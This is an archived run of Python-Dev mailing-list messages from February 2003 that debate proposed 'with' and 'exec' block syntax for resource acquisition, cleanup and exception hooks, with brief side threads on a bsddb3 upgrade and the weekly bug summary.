From Paul.Moore@atosorigin.com  Mon Feb  3 12:54:06 2003
From: Paul.Moore@atosorigin.com (Moore, Paul)
Date: Mon, 3 Feb 2003 12:54:06 -0000
Subject: [Python-Dev] Acquire/release functionality (Was: Extended Function syntax)
Message-ID: <16E1010E4581B049ABC51D4975CEDB880113D8BC@UKDCX001.uk.int.atosorigin.com>

From: Bernhard Herzog [mailto:bh@intevation.de]
> IMO if you want multiple controllers for a with statement you
> should just nest the withs:
>
> with var1 =3D expr1:
>     with var2 =3D expr2:
>         suite

To some extent, an important point of the with expression is to
simplify the overall control construct, and to reduce the level
of nesting needed. Combining the variables was intended to help
with this.

> This makes the order in which the methods of the varN will be
> called obvious.

It should be fairly obvious from the combined form too - enter in
the order specified, and leave in reverse order.

> > In this, any varN can be omitted and a dummy hidden variable
> > is used.=20
>=20
> Meaning something like
>=20
> with var1, , var3 =3D expr1, expr2, expr3:
>     suite
>=20
> I guess. Urgs.

Agreed. I didn't mean that. Originally, I'd specified this as

    with var1 =3D expr1, var2 =3D expr2, ...:

but I switched to parallel the normal multiple assignment idiom.

How about

    with [ var1, var2, ... =3D ] expr1, expr2, ...

so that you can omit all or none? That's basically just like a
normal tuple assignment.

> Nested withs handle this in a cleaner way as well, IMO.

Yes, I guess they do. I'll make sure I have this as at least an
option in the PEP. I still like the combined form, just because
it reduces the tendency to drift towards the right margin. But
I'm not convinced it will be important particularly often...

Thanks for the comments,
Paul.


From Paul.Moore@atosorigin.com  Mon Feb  3 13:02:00 2003
From: Paul.Moore@atosorigin.com (Moore, Paul)
Date: Mon, 3 Feb 2003 13:02:00 -0000
Subject: [Python-Dev] Acquire/release functionality (Was: Extended Function syntax)
Message-ID: <16E1010E4581B049ABC51D4975CEDB886199CB@UKDCX001.uk.int.atosorigin.com>

From: holger krekel [mailto:pyth@devel.trillke.net]

> Bernhard Herzog wrote:
>
> > Alex Martelli <aleax@aleax.it> writes:
> >
> > > > the exception should be propogated. The problem is that I'm not
> > > > sure what is the best way for an __except__ method to signal
> > > > that it caught the exception.
> > >
> > > Maybe the return value of __except__ should be evaluated in a
> > > boolean context encoding this? False -> exception not caught, True
> > > -> caught ...
> >
> > __except__ could just reraise the exception if it doesn't handle it.
> > This behavior would be similar to that of a normal except clause   .
>
> exactly!

The problem in practice is that this means you have to take explicit =
action
to say "I don't know what to do with this". I'd rather it was the other =
way
round, with an empty exception handler

    def __except__(self): pass

doing nothing (as it looks). If you need to reraise, then this handler
silently eats all exceptions. Basically, an empty handler should be the
same as no handler. (If for no other reason than to give a subclass a
way of disabling the superclass' handler).

Actually, it's clear to me that the controversial issues are:

1. Multiple expressions in one with clause
2. Exception handling

Maybe the simplest answer is to remove both of these options, and stick
with a slimmed down version which does gthe basics well. Does anyone =
have
a good use case for either of these features?

Paul.


From pyth@devel.trillke.net  Mon Feb  3 13:09:34 2003
From: pyth@devel.trillke.net (holger krekel)
Date: Mon, 3 Feb 2003 14:09:34 +0100
Subject: [Python-Dev] exec/with thunk-handling proposal
In-Reply-To: <n2m-g.fzr6cpzo.fsf_-_@morpheus.demon.co.uk>; from lists@morpheus.demon.co.uk on Sun, Feb 02, 2003 at 09:49:31PM +0000
References: <20030201173108.0F9AD2223@bespin.org> <200302011829.h11ITCJ02328@pcp02138704pcs.reston01.va.comcast.net> <049701c2ca2a$89d0e0c0$6d94fea9@newmexico> <200302012002.h11K2pQ03620@pcp02138704pcs.reston01.va.comcast.net> <059501c2ca31$d6581420$6d94fea9@newmexico> <065d01c2ca3b$185ca080$6d94fea9@newmexico> <200302021352.h12DqXR13911@pcp02138704pcs.reston01.va.comcast.net> <002301c2cad4$714acc00$6d94fea9@newmexico> <200302021934.h12JYFQ14810@pcp02138704pcs.reston01.va.comcast.net> <n2m-g.fzr6cpzo.fsf_-_@morpheus.demon.co.uk>
Message-ID: <20030203140934.D10804@prim.han.de>

Hello,

I'll try to take the discussion about a "unified approach"
towards 'code block' or thunk handling into a fresh thread
and present what Michael Hudson truthfully calls 
"a friendly competing approach". 

Preliminaries
-------------

We have some use cases for a construct that allows 
encapsulating try/except/finally hooks into
an object.  Especially for timely finalization (of files,
locks or other resources) we don't want to scatter
try-finally constructs all over the place.  

Please understand that the following proposal has 
nothing to do with "function-level" thunk-manipulation 
ala classmethod but only with "inline" thunks (which 
don't and shouldn't have their own scope). 

Syntax and semantic proposal
----------------------------

I think we can may get away with only a "weak" keyword
and allow the aforementioned encapsulation of execution 
events into an object like this:

    exec expr [with params]: suite

where the expression is evaluated to return a
"thunk" handler with these optional "execution" hooks:

    def __enter__(self):  
        "before suite start"

    def __except__(self, type, value, tb): 
        "swallow given exception, reraise if neccessary"

    def __leave__(self):
        """upon suite finish (not called if __except__ 
           exists and an exception happened)
        """

The above "with" parameters (of the form name=expr, comma-separated) 
are bound in local (or global/nested) *and* handler instance 
namespace.  The 'suite' is what we call "thunk".

The above logic allows clean timely finalization for
*multiple* ressources:

    exec autoclose() with f1=open(name1), f2=open(name2, 'w'):
        for line in f1:
            ...
            f2.write(...)

which would execute as follows

    a) autoclose() instance is created and stored as the 
       "thunk"-handler

    b) f1/f2 are stored as attributes on the autoclose instance

    c) f1/f2 are put into the local/global namespace (and nested ones
       if rebinding is allowed)

    d) thunk executes (for line ...)

    e) autoclose 'leave' hook is called (with or without exception)
       and is implemented like this:
        
       def __leave__(self):
            for obj in self.__dict__.values(): 
                obj.close()

    f) thunk handler is removed 

Because computing 'f1' may succeed but 'f2' can subsequently
fail the assignments *have to* execute within "autoclose"
control.  

Now on to the usage of the except hook.  Nice use cases might be

    exec retry(maxretry=3, on=IOError): 
        # do network io-stuff
or
    exec skip_on(AttributeError, TypeError):
        some_object.notify_hook()

but i am sure there are more.  Exception handling is often
ugly when inlined with the code.  I think that stating 
'exception behaviour' up-front allows to write nice 
readable constructs. 


__exit__ versus __leave__
---------------------------

One remark (mainly to Michael as he does that other 
patch) about the hook-name __leave__ versus __exit__.
we may want to eventually allow 'yield' within the
thunk and then '__exit__' would be misleading.  Here is
the use case:

    exec self.mylock:   # would lock/unlock on entering/leaving 
                        # the generator
        ...
        for whatever in something:
            yield whatever  
        ...

Or do you think that this (future) use case warrants 
yet another hook?

If there is interest i can probably modify my patch 
to allow all of the proposed syntax so that you could 
play around with it.  

the next additional idea is not essential for my so-far
proposal (but hopefully interesting, nonetheless).

regards and interested in comments,

    holger


-------------  Catching values ala Quixote -------------------

With my former patch there was another "execution" event: 
the catching of "dropped" values ala Quixote.  For values
that are not assigned to a name and would be discarded otherwise
the execution handler can implement another hook:

    def __catch__(self, value):
        "catch dropped value from thunk"

this allows anonymous (un-named) objects to be passed 
*within the thunk* to the execution handler. 
some example use-cases:

    exec debug: 
        if condition:
            "something questionable happenend"

so you can quite completly encapsulate debug-handling 
into one object.  Note that this exec could be 
special-cased to do nothing if "debug" is None. 
Another one (ala the Quixote-framework):

    exec html_stream:
        "<h1>title</h1>"
        "<p>%s</p>" % html_quote(para)

or even:

    exec html.tr():
        exec html.td(): "column" 

which comes close to what Walter wants.  And maybe
you understand now why I choose this strange xml-syntax with 
my former patch :-) Actually i didn't have the idea of 
reusing 'exec' which makes a lot more sense to me, now.

again with regards and intersted in any remarks,

    holger


From pyth@devel.trillke.net  Mon Feb  3 13:30:36 2003
From: pyth@devel.trillke.net (holger krekel)
Date: Mon, 3 Feb 2003 14:30:36 +0100
Subject: [Python-Dev] Acquire/release functionality (Was: Extended Function syntax)
In-Reply-To: <16E1010E4581B049ABC51D4975CEDB886199CB@UKDCX001.uk.int.atosorigin.com>; from Paul.Moore@atosorigin.com on Mon, Feb 03, 2003 at 01:02:00PM -0000
References: <16E1010E4581B049ABC51D4975CEDB886199CB@UKDCX001.uk.int.atosorigin.com>
Message-ID: <20030203143036.E10804@prim.han.de>

Moore, Paul wrote:
> From: holger krekel [mailto:pyth@devel.trillke.net]
> 
> > Bernhard Herzog wrote:
> >
> > > Alex Martelli <aleax@aleax.it> writes:
> > >
> > > > > the exception should be propogated. The problem is that I'm not
> > > > > sure what is the best way for an __except__ method to signal
> > > > > that it caught the exception.
> > > >
> > > > Maybe the return value of __except__ should be evaluated in a
> > > > boolean context encoding this? False -> exception not caught, True
> > > > -> caught ...
> > >
> > > __except__ could just reraise the exception if it doesn't handle it.
> > > This behavior would be similar to that of a normal except clause   .
> >
> > exactly!
> 
> The problem in practice is that this means you have to take explicit action
> to say "I don't know what to do with this". I'd rather it was the other way
> round, with an empty exception handler
> 
>     def __except__(self): pass
> 
> doing nothing (as it looks). If you need to reraise, then this handler
> silently eats all exceptions. Basically, an empty handler should be the
> same as no handler. (If for no other reason than to give a subclass a
> way of disabling the superclass' handler).

With my approach i had all those hooks and __except__ in particular
*optional*.  So if you actually wrote 

    def __except__(self, type, value, traceback):
        ...

then i presume that you want to check something with the exception
(and that's why we should pass it in, btw.).  

It's difficult if you have an exception within __except__
because the interpreter would have to keep nested 'exception'
information.  So delegating the responsibility to __except__ is
the cleanest solution IMO.  All 'execution' hooks should only
handle events (enter/leave/except) but not push something back 
because it really complicates matters.
 
> Actually, it's clear to me that the controversial issues are:
> 
> 1. Multiple expressions in one with clause
> 2. Exception handling
> 
> Maybe the simplest answer is to remove both of these options, and stick
> with a slimmed down version which does gthe basics well. Does anyone have
> a good use case for either of these features?

Meanwhile i made a proposal in a new thread where i have some
use cases.  I am pretty sure that stating exception behaviour up-front
is not YAGNI.  At least for the xml-case there is a *very* nice use 
case (which i use in another project):

    XYZ html.tr():
        XYZ html.td():  compute_column()

now the html.td() handler can locally catch an exception 
and present an error-link which leads to a page containing
more information and a traceback.  Imagine you have to do this
with inline try-except clauses: you don't and then you get 
long meaningless tracebacks with hardly any context what went
wrong.  

With the aid of the __except__ hook you can still render 
the non-erranonous part of the page and give an immediate clue 
what went wrong and where.  So I think __except__ has the potential
to improve error-handling by abstracting it out into a method
instead of (redundantly) intermingling it with every thunk.

regards,

    holger


From pyth@devel.trillke.net  Mon Feb  3 13:35:31 2003
From: pyth@devel.trillke.net (holger krekel)
Date: Mon, 3 Feb 2003 14:35:31 +0100
Subject: [Python-Dev] exec/with thunk-handling proposal (on a new thread eventually)
Message-ID: <20030203143531.F10804@prim.han.de>

[sorry that this posting may double but i failed to post
 this on a new thread and even 'mutt' with 120 columns
 doesn't show the subject anymore]


Hello,

I'll try to take the discussion about a "unified approach"
towards 'code block' or thunk handling into a fresh thread
and present what Michael Hudson truthfully calls 
"a friendly competing approach". 


Preliminaries
-------------

We have some use cases for a construct that allows 
encapsulating try/except/finally hooks into
an object.  Especially for timely finalization (of files,
locks or other resources) we don't want to scatter
try-finally constructs all over the place.  

Please understand that the following proposal has 
nothing to do with "function-level" thunk-manipulation 
ala classmethod but only with "inline" thunks (which 
don't and shouldn't have their own scope). 

Syntax and semantic proposal
----------------------------

I think we can may get away with only a "weak" keyword
and allow the aforementioned encapsulation of execution 
events into an object like this:

    exec expr [with params]: suite

where the expression is evaluated to return a
"thunk" handler with these optional "execution" hooks:

    def __enter__(self):  
        "before suite start"

    def __except__(self, type, value, tb): 
        "swallow given exception, reraise if neccessary"

    def __leave__(self):
        """upon suite finish (not called if __except__ 
           exists and an exception happened)
        """

The above "with" parameters (of the form name=expr, comma-separated) 
are bound in local (or global/nested) *and* handler instance 
namespace.  The 'suite' is what we call "thunk".

The above logic allows clean timely finalization for
multiple ressources:

    exec autoclose() with f1=open(name1), f2=open(name2, 'w'):
        for line in f1:
            ...
            f2.write(...)

which would execute as follows

    a) autoclose() instance is created and stored as the 
       "thunk"-handler

    b) f1/f2 are stored as attributes on the autoclose instance

    c) f1/f2 are put into the local/global namespace (and nested ones
       if rebinding is allowed)

    d) thunk executes (for line ...)

    e) autoclose 'leave' hook is called (with or without exception)
       and is implemented like this:
        
       def __leave__(self):
            for obj in self.__dict__.values(): 
                obj.close()

    f) thunk handler is removed 

Because computing 'f1' may succeed but 'f2' can subsequently
fail the assignments *have to* execute within "autoclose"
control.  

Now on to the usage of the except hook.  Nice use cases might be

    exec retry(maxretry=3, on=IOError): 
        # do network io-stuff
or
    exec skip_on(AttributeError, TypeError):
        some_object.notify_hook()

but i am sure there are more.  Exception handling is often
ugly when inlined with the code.  I think that stating 
'exception behaviour' up-front allows to write nice 
readable constructs. 


__exit__ versus __leave__
---------------------------

One remark (mainly to Michael as he does that other 
patch) about the hook-name __leave__ versus __exit__.
we may want to eventually allow 'yield' within the
thunk and then '__exit__' would be misleading.  Here is
the use case:

    exec self.mylock:   # would lock/unlock on entering/leaving 
                        # the generator
        ...
        for whatever in something:
            yield whatever  
        ...

Or do you think that this (future) use case warrants 
yet another hook?

If there is interest i can probably modify my patch 
to allow all of the proposed syntax so that you could 
play around with it.  

the next additional idea is not essential for my so-far
proposal (but hopefully interesting, nonetheless).

regards and interested in comments,

    holger


-------------  Catching values ala Quixote -------------------

With my former patch there was another "execution" event: 
the catching of "dropped" values ala Quixote.  For values
that are not assigned to a name and would be discarded otherwise
the execution handler can implement another hook:

    def __catch__(self, value):
        "catch dropped value from thunk"

this allows anonymous (un-named) objects to be passed 
*within the thunk* to the execution handler. 
some example use-cases:

    exec debug: 
        if condition:
            "something questionable happenend"

so you can quite completly encapsulate debug-handling 
into one object.  Note that this exec could be 
special-cased to do nothing if "debug" is None. 
Another one (ala the Quixote-framework):

    exec html_stream:
        "<h1>title</h1>"
        "<p>%s</p>" % html_quote(para)

or even:

    exec html.tr():
        exec html.td(): "column" 

which comes close to what Walter wants.  And maybe
you understand now why I choose this strange xml-syntax with 
my former patch :-) Actually i didn't have the idea of 
reusing 'exec' which makes a lot more sense to me, now.

again with regards and intersted in any remarks,

    holger

_______________________________________________
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev

----- End forwarded message -----

-- 
"Why are people killing each other when there is so much fun stuff
 to be had through friendly cooperation?" (Bengt Richter on c.l.py)
"Why are people killing each other when there is so much fun stuff
 to be had through friendly cooperation?" (Bengt Richter on c.l.py)


From walter@livinglogic.de  Mon Feb  3 13:35:50 2003
From: walter@livinglogic.de (=?ISO-8859-1?Q?Walter_D=F6rwald?=)
Date: Mon, 03 Feb 2003 14:35:50 +0100
Subject: [Python-Dev] Acquire/release functionality (Was: Extended Function
 syntax)
In-Reply-To: <20030203132723.C10804@prim.han.de>
References: <200302011829.h11ITCJ02328@pcp02138704pcs.reston01.va.comcast.net> <049701c2ca2a$89d0e0c0$6d94fea9@newmexico> <200302012002.h11K2pQ03620@pcp02138704pcs.reston01.va.comcast.net> <059501c2ca31$d6581420$6d94fea9@newmexico> <065d01c2ca3b$185ca080$6d94fea9@newmexico> <200302021352.h12DqXR13911@pcp02138704pcs.reston01.va.comcast.net> <002301c2cad4$714acc00$6d94fea9@newmexico> <200302021934.h12JYFQ14810@pcp02138704pcs.reston01.va.comcast.net> <n2m-g.fzr6cpzo.fsf_-_@morpheus.demon.co.uk> <3E3E56D0.7000200@livinglogic.de> <20030203132723.C10804@prim.han.de>
Message-ID: <3E3E7036.7010608@livinglogic.de>

holger krekel wrote:

 > [...]
> you probably missed my other posting where i actually went
> one step further and implemented this via <...> syntax.

I saw it. I actually took a look at your IEXEC patch, where this
XML stuff is one of your use cases.

Compared to the patch, which uses 
sys._getframe(1).f_locals['__icontent__'] to get at the content
nodes I like the __catch__ idea much better. But I find your
syntax to be too unpythonic.

> Actually i tried *exactly* the syntax you propose here first but
> i think it's *hopelessly* ambigous with the Python grammar. 
>
> You simple have no way to know which construct you are in
> until you read the ':'.  Until then you could be in a
> normal expression.  The 'class', 'def', 'if', 'while' etc.
> keywords disambiguate this right at the beginning.
> 
> Without a much deeper parser look-ahead this can't 
> be done, i am afraid.

You're right, but my point is that in this XML case the new
block feature is used so often that an additional keyword
might be too much typing overhead.

Bye,
    Walter Dörwald



From skip@pobox.com  Mon Feb  3 13:40:30 2003
From: skip@pobox.com (Skip Montanaro)
Date: Mon, 3 Feb 2003 07:40:30 -0600
Subject: [Python-Dev] bsddb3 upgrade woes - more gentle transition?
Message-ID: <15934.29006.134368.613503@montanaro.dyndns.org>

I've seen a couple messages on c.l.py and the spambayes list about
"breakage" with the new bsddb3 module.  In both cases the breakage they
occurred probably wasn't directly related to the change of the modules.
It's almost certain that they have two versions of Berkeley DB installed and
were using a 2.x or 1.8[56] version with the old bsddb module and are now
linking against the 3.x or 4.x library with the new module.

Given that most people aren't aware of how to convert their database files
and very possibly don't have the necessary RPMs (or other system-specific
packages) installed to do the file conversion, I think we need to work a
little harder to smooth the transition.  I'm not certain just what form that
should take.  At the very least I will write some text in Misc/NEWS to
better indicate what the underlying problem is and ways to solve it.

I suspect that many people won't have immediate access to Sleepycat's
conversion tools (for any number of reasons).  I think a pair of dump/load
scripts in Tools/scripts which use pickle as an intermediate format would
also be helpful.

Skip


From aleax@aleax.it  Mon Feb  3 13:50:42 2003
From: aleax@aleax.it (Alex Martelli)
Date: Mon, 3 Feb 2003 14:50:42 +0100
Subject: [Python-Dev] Acquire/release functionality (Was: Extended Function syntax)
In-Reply-To: <16E1010E4581B049ABC51D4975CEDB886199CB@UKDCX001.uk.int.atosorigin.com>
References: <16E1010E4581B049ABC51D4975CEDB886199CB@UKDCX001.uk.int.atosorigin.com>
Message-ID: <200302031450.42918.aleax@aleax.it>

On Monday 03 February 2003 02:02 pm, Moore, Paul wrote:
   ...
> Actually, it's clear to me that the controversial issues are:
>
> 1. Multiple expressions in one with clause
> 2. Exception handling
>
> Maybe the simplest answer is to remove both of these options, and stick
> with a slimmed down version which does gthe basics well. Does anyone have
> a good use case for either of these features?

I can think of no use case for 1. that would not be handled just about as
well by nesting 'with' statements.  I don't like deep nesting any more than
you do, but I suspect the typical nesting of with's won't be any more
problematic than for any other existing kind of statement.

For 2., I'm thinking of something that's able to automatically perform some
call such as db.transaction("rollback") in case of any exception, and maybe 
some other call such as db.transaction("commit") iff no exception occurred.
I.e. an encapsulated equivalent of a try/except/else.  Probably not as
frequent as the need for an encap.equiv. of a try/finally -- and, as usual,
not trivial to decide how best to combine the two needs -- but, it seems
to me that use cases for both situations exist:
  2a, try/finally equivalent: execute cleanup code no matter what,
  2b, try/except/else: execute different code with vs without exceptions


Alex



From Paul.Moore@atosorigin.com  Mon Feb  3 13:57:05 2003
From: Paul.Moore@atosorigin.com (Moore, Paul)
Date: Mon, 3 Feb 2003 13:57:05 -0000
Subject: [Python-Dev] Extended Function syntax
Message-ID: <16E1010E4581B049ABC51D4975CEDB886199CD@UKDCX001.uk.int.atosorigin.com>

From: Michael Hudson [mailto:mwh@python.net]
>>> How would I do this elegantly without the assignment...?
>>
>> Just as you do with if:
>
> Good point.  "with" testlist ':' NEWLINE it is, if it's me
> that gets to write the PEP.

Are you saying that you don't see the value of

    with var =3D expr:
        suite

because it can be rewritten as

    var =3D expr
    with var:
        suite

? Hmm, I suppose so. But let's take a step back - what is the
"with" syntax for? It's a little more than a shorthand for a
try...finally block, because it has an encapsulation value as
well.

Consider

    try:
        f =3D open("blah.txt", "r")
        ...
    finally:
        f.close()

compared with

    # Here, the definition of autoclose is omitted, that's
    # exactly the point - we don't *care* how it's implemented,
    # it's just an open file that manages its resources for me

    with f =3D autoclose("blah.txt", "r"):
        ...

and with

    f =3D autoclose("blah.txt", "r")
    with f:
        ...

The problem with the third case as compared to the second is that
using autoclose() rather than open() has *no value* in the absence
of the with statement. And contrariwise, if x is an object which
hasn't been designed for use with the "with" construct, "with x"
is meaningless.

So I guess what I'm saying is that "with ... autoclose" only
make sense in combination. Putting the two on different lines loses
that connection. If you need to name the result of the autoclose()
call, you either allow the with construct to include the assignment,
or you lose that conceptual link.

Paul.


From aleax@aleax.it  Mon Feb  3 14:05:14 2003
From: aleax@aleax.it (Alex Martelli)
Date: Mon, 3 Feb 2003 15:05:14 +0100
Subject: [Python-Dev] succinctness? (was: Extended Function syntax)
In-Reply-To: <005e01c2cb7c$7fee44a0$6d94fea9@newmexico>
References: <200302030056.h130uDW23921@oma.cosc.canterbury.ac.nz> <200302030202.h1322qg15913@pcp02138704pcs.reston01.va.comcast.net> <005e01c2cb7c$7fee44a0$6d94fea9@newmexico>
Message-ID: <200302031505.14730.aleax@aleax.it>

On Monday 03 February 2003 01:05 pm, Samuele Pedroni wrote:
   ...
> does what iterclose does a bunch of times in program, she could be tempted
> to write iterclose. It's succinctness daemon. General mileage can vary.

I think "succintness" is quite a secondary motivation; what generally
drives me to "collect" repetitively coded behavior into one class, function,
iterator, metaclass, template, macro, or other such "collecting" construct
that a language may make available to me, is the desire to remove duplication
of code -- both (primarily) duplication of meaningful code, and (secondarily) 
boilerplate code too.

I.e., it's fighting the "copy and paste" daemon, with all of its minuses.

Having to code empty special methods for common cases is an example
of boilerplate I'd much rather do without, in a somewhat different context
than that of "collecting" constructs (though such constructs may at times
be usable to alleviate the problem).  Consider the only way in which I
find classic classes preferable to new-style ones, now that I have some
substantial amount of experience using and teaching each kind...:

class Ic:
    "whatever contents, but no __init__"
ok = Ic()             # fine
notok = Ic(23)     # raises an exception, just like it should

__metaclass__ = type
class Nu:
    "whatever contents, but no __init__"
ok = Nu()             # fine
notok = Nu(23)     # "fine" -- *eep!!!* -- masks an error...!


To ensure runtime catching of what's typically an error, passing
parameters to the class that will be ignored, I have to do nothing
special in a classic class, but I do have to have some
    def __init__(self): pass
for a new-style class.  I can define a custom metaclass (a
subclass of 'type') or baseclass (a subclass of 'object') to
relegate this tiny wart (if wart it be) appropriately, of course:

class noinit(object):
    def __init__(self): pass

and then subclass noinit rather than subclassing object, or use
the (more complicated to code, but perhaps more transparent
in use) metaclass equivalent, e.g., something like:

class noinittype(type):
    def __new__(cls, classname, bases, classdict):
        if not bases and not classdict.has_key('__init__'):
            bases = noinit,
        return type.__new__(cls, classname, bases, classdict)

with a __metaclass__=noinittype in global scope.


Generally, I think that when the language offers ways to
reduce code duplication (including boilerplate), those ways
WILL eventually be used -- at least by some coders -- because
code duplication is such a blight (and many experienced coders
have been taught by bitter experience to perceive it as such).

That's part of why I'd much rather see macros *NOT* added
to Python: I feel that, if they are there, they WILL eventually
become widely used -- appropriately in some cases, sure, but
(I fear) quite obfuscatingly in many other cases.  Similar, even
though probably weaker, qualms can be raised about other
wide-use mechanisms (not quite as wide and powerful as
macros might be) that can reduce code duplication -- they
WILL be widely used.  The richer and potentially more
complicated the mechanism is, the more such wide use
can be seen as a rather mixed blessing.


Alex



From bh@intevation.de  Mon Feb  3 14:17:03 2003
From: bh@intevation.de (Bernhard Herzog)
Date: 03 Feb 2003 15:17:03 +0100
Subject: [Python-Dev] Acquire/release functionality (Was: Extended Function syntax)
In-Reply-To: <16E1010E4581B049ABC51D4975CEDB880113D8BC@UKDCX001.uk.int.atosorigin.com>
References: <16E1010E4581B049ABC51D4975CEDB880113D8BC@UKDCX001.uk.int.atosorigin.com>
Message-ID: <6qznpdo3ds.fsf@salmakis.intevation.de>

"Moore, Paul" <Paul.Moore@atosorigin.com> writes:

> From: Bernhard Herzog [mailto:bh@intevation.de]
> > IMO if you want multiple controllers for a with statement you
> > should just nest the withs:
> >
> > with var1 = expr1:
> >     with var2 = expr2:
> >         suite
> 
> To some extent, an important point of the with expression is to
> simplify the overall control construct, and to reduce the level
> of nesting needed. Combining the variables was intended to help
> with this.

Well, you could easily define a new class that combines several control
objects into one object so that you'd get something like this:

with obj = combine(var1 = expr1, var2 = expr2):
    suite

combine.__enter__ etc. would delegate their functionality to that of the
vars. 

In the example above you'd have no way to specify the order in which the
var methods are intended to be called although the class could guarantee
that the __exit__ methods are called in the reverse order of the
__enter__ methods. However, it wouldn't be difficult to use a different
scheme to give the programmer more control over the oder.

    Bernhard

-- 
Intevation GmbH                                 http://intevation.de/
Sketch                                 http://sketch.sourceforge.net/
MapIt!                                           http://www.mapit.de/


From gsw@agere.com  Mon Feb  3 14:27:20 2003
From: gsw@agere.com (Gerald S. Williams)
Date: Mon, 3 Feb 2003 09:27:20 -0500
Subject: [Python-Dev] exec/with thunk-handling proposal
In-Reply-To: <20030203135901.27910.76214.Mailman@mail.python.org>
Message-ID: <GBEGLOMMCLDACBPKDIHFGEAIDCAA.gsw@agere.com>

holger krekel wrote:
> I think we can may get away with only a "weak" keyword
> and allow the aforementioned encapsulation of execution 
> events into an object like this:
> 
>     exec expr [with params]: suite

I was about to propose something similar. This looks like
it can be unified with what Guido proposed.

> regards and interested in comments,

An observation:

Used like this, "with" looks like an alias for "lambda"
(providing default values for all parameters).

-Jerry



From Paul.Moore@atosorigin.com  Mon Feb  3 14:29:40 2003
From: Paul.Moore@atosorigin.com (Moore, Paul)
Date: Mon, 3 Feb 2003 14:29:40 -0000
Subject: [Python-Dev] Acquire/release functionality (Was: Extended Function syntax)
Message-ID: <16E1010E4581B049ABC51D4975CEDB886199D0@UKDCX001.uk.int.atosorigin.com>

From: Bernhard Herzog [mailto:bh@intevation.de]
>> To some extent, an important point of the with expression is to
>> simplify the overall control construct, and to reduce the level
>> of nesting needed. Combining the variables was intended to help
>> with this.

> Well, you could easily define a new class that combines several
> control objects into one object so that you'd get something like
> this:

OK, that's a good point. I'm convinced.

Paul.


From just@letterror.com  Mon Feb  3 14:38:18 2003
From: just@letterror.com (Just van Rossum)
Date: Mon,  3 Feb 2003 15:38:18 +0100
Subject: [Python-Dev] Weekly Python Bug/Patch Summary
In-Reply-To: <2misw1r650.fsf@starship.python.net>
Message-ID: <r01050400-1023-3702D612378511D7B33C003065D5E7E4@[10.0.0.23]>

Michael Hudson wrote:

> Skip Montanaro <skip@manatee.mojam.com> writes:
> 
> > Bug/Patch Summary
> > -----------------
> >
> > 350 open / 3282 total bugs (+14)
> > 123 open / 1944 total patches (+16)
> 
> Oh dear.  How about saying that each post to python-dev about syntax
> must be accompanied by action towards closing out at least one bug or
> patch? :)

If it's no coincidence this happened while MvL is on vacation, we should
be ashamed... Anyway, I closed one patch today (admittedly an easy one
;-).

Perhaps as a motivation aid Skips summary could include the top 5 patch
and bug closers of last week?

Just


From Paul.Moore@atosorigin.com  Mon Feb  3 14:31:39 2003
From: Paul.Moore@atosorigin.com (Moore, Paul)
Date: Mon, 3 Feb 2003 14:31:39 -0000
Subject: [Python-Dev] Acquire/release functionality
Message-ID: <16E1010E4581B049ABC51D4975CEDB886199CF@UKDCX001.uk.int.atosorigin.com>

Paul Moore <lists@morpheus.demon.co.uk> writes:

> As far as the acquire/release case is concerned, I think that there is
> definitely a strong case for syntactic support for this. The
> equivalent idiom in C++ is "resource acquisition is initialisation"
> which, while not having syntax support, does rely on the existence of
> deterministic destructors, and on the ability to introduce a new scope
> at will. Python has neither of these, and the try...finally construct
> is verbose enough to make something better worth having.

In trying to draw a parallel between "with" and the C++ RAII idiom, I
hit a funny, best illustrated by an example:

    class autoclose(file):
        __exit__ =3D close

    with f =3D autoclose("blah.txt", "r"):
        # Let's get sneaky
        g =3D f
        # Main code here

    # File now gets closed
    with g:
       # Who's a naughty boy then - g is a closed file
    # And the g.__exit__() call goes boom here...

OK, it's contrived. The equivalent C++ risk is that of creating a =
dangling
pointer to a local variable which is deleted, which is also rare.

I don't know if this is a significant issue - after all, I can write
code which closes a closed file object in normal Python. But I do think
that we should remember the weird edge cases when discussing this sort
of thing.

If nothing else, it strikes me as a mild argument in favour of allowing
the assignment to be part of the "with" clause, just so that people
don't get used to seeing a bare "with g" (which doesn't include any
obvious clues that g *needs* auto-cleanup).

Paul.


From guido@python.org  Mon Feb  3 14:51:26 2003
From: guido@python.org (Guido van Rossum)
Date: Mon, 03 Feb 2003 09:51:26 -0500
Subject: [Python-Dev] Weekly Python Bug/Patch Summary
In-Reply-To: Your message of "Mon, 03 Feb 2003 10:49:15 GMT."
 <2misw1r650.fsf@starship.python.net>
References: <200302021300.h12D0ZRd015670@manatee.mojam.com>
 <2misw1r650.fsf@starship.python.net>
Message-ID: <200302031451.h13EpQB18509@odiug.zope.com>

> > Bug/Patch Summary
> > -----------------
> >
> > 350 open / 3282 total bugs (+14)
> > 123 open / 1944 total patches (+16)
> 
> Oh dear.  How about saying that each post to python-dev about syntax
> must be accompanied by action towards closing out at least one bug or
> patch? :)

I'm filing all the syntax posts away for now and will be spending
significant time this week towards the 2.3a2 release (at least Zope
Corp allows me to work on that).

--Guido van Rossum (home page: http://www.python.org/~guido/)


From bh@intevation.de  Mon Feb  3 15:06:03 2003
From: bh@intevation.de (Bernhard Herzog)
Date: 03 Feb 2003 16:06:03 +0100
Subject: [Python-Dev] Extended Function syntax
In-Reply-To: <16E1010E4581B049ABC51D4975CEDB886199CD@UKDCX001.uk.int.atosorigin.com>
References: <16E1010E4581B049ABC51D4975CEDB886199CD@UKDCX001.uk.int.atosorigin.com>
Message-ID: <6qvg01o144.fsf@salmakis.intevation.de>

"Moore, Paul" <Paul.Moore@atosorigin.com> writes:

> Consider
> 
>     try:
>         f = open("blah.txt", "r")
>         ...
>     finally:
>         f.close()

This should actually be 

    f = open("blah.txt", "r")
    try:
        ...
    finally:
        f.close()

Otherwise if open raises an exception the finally clause will most
likely raise an exception as well.

> and with
> 
>     f = autoclose("blah.txt", "r")
>     with f:
>         ...
> 
> The problem with the third case as compared to the second is that
> using autoclose() rather than open() has *no value* in the absence
> of the with statement. And contrariwise, if x is an object which
> hasn't been designed for use with the "with" construct, "with x"
> is meaningless.

Likewise, if x is not designed to be used with "for", "for i in x" is
meaningless (and throws an exception).

> So I guess what I'm saying is that "with ... autoclose" only
> make sense in combination.

I think "return autoclose(...)" will be used in function that create
objects for use in with clauses.

> Putting the two on different lines loses
> that connection. If you need to name the result of the autoclose()
> call, you either allow the with construct to include the assignment,
> or you lose that conceptual link.

IMO whether with should allow assignment is really completely independed
of "with". It's just the general design questions of whether to have
assignment expressions at all.

   Bernhard

-- 
Intevation GmbH                                 http://intevation.de/
